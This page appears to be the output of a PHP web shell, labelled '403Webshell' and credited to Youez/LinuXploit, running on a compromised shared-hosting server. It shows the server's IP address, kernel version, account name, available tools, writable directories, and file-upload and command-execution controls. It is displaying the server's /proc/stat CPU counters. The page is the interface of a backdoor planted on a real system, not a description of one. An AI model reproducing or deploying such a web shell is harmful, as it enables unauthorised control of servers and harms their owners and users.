403Webshell
Server IP : 162.0.217.223  /  Your IP : 216.73.216.153
Web Server : LiteSpeed
System : Linux premium269.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : mypckeys ( 1539)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc//stat
cpu  19489439299 234444163 5286854346 12577947024 1249254433 355953997 437145689 2025413 0 0
cpu0 885015305 10680392 239864329 572503364 56746607 15215969 21448753 93162 0 0
cpu1 883732391 10649457 240021430 572638244 57912239 15103829 20639198 92349 0 0
cpu2 886647648 10654119 239864655 572219522 56932926 14936738 20139821 90439 0 0
cpu3 887828430 10668260 239608610 571572248 56890868 14939667 19882868 90351 0 0
cpu4 888316347 10688615 239788985 572564982 57128918 14935416 17977164 90216 0 0
cpu5 888824704 10697447 239646262 572329033 57097309 14934603 17879303 90069 0 0
cpu6 888939595 10665285 239521591 572402975 57100601 14924109 17843862 90058 0 0
cpu7 889166083 10687939 239559257 572232741 57079479 14927734 17759016 89965 0 0
cpu8 886809229 10660787 240254937 572111017 57021091 14936212 19609097 90381 0 0
cpu9 886974605 10702056 240031150 572283424 56971160 14937458 19501903 90221 0 0
cpu10 884331870 10623403 237140637 569475474 56107975 25975511 17853344 97319 0 0
cpu11 888048592 10655830 239750475 571795347 56863886 14914479 19408317 89808 0 0
cpu12 887417122 10623975 240044048 572071554 56966027 14916319 19385335 89980 0 0
cpu13 873915179 10545852 244859448 568629376 55909574 17216790 30519163 103396 0 0
cpu14 878165420 10580264 242883466 569609655 56139191 17516044 26754402 101970 0 0
cpu15 886904949 10679550 239927206 572214328 56956812 15139582 19497613 90183 0 0
cpu16 886525860 10669985 241533712 571676960 56661444 14934358 19394265 89773 0 0
cpu17 886140787 10681913 241276067 572186667 56793585 14932981 19389955 89829 0 0
cpu18 886228130 10659355 241332108 572265384 56686834 14920896 19365610 89607 0 0
cpu19 886300184 10656519 241352265 572244036 56603403 14920898 19370039 89733 0 0
cpu20 887737003 10655708 240829451 572997472 56780509 14885299 17567917 89480 0 0
cpu21 885469856 10657443 237764245 569923211 55903986 25889096 15958735 97113 0 0
intr 174245153300 173 83 0 0 2683 0 0 0 5 0 0 0 378 0 17828373 0 0 0 0 0 0 0 0 0 0 0 0 2741886540 2675505189 0 50 5 1091346482 518066831 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 612885452594
btime 1741770552
processes 1367793743
procs_running 14
procs_blocked 1
softirq 126916688390 1 3892726191 22339 1683738712 236197492 0 783103567 618747282 27022755 3711013059

Youez - 2016 - github.com/yon3zu
LinuXploit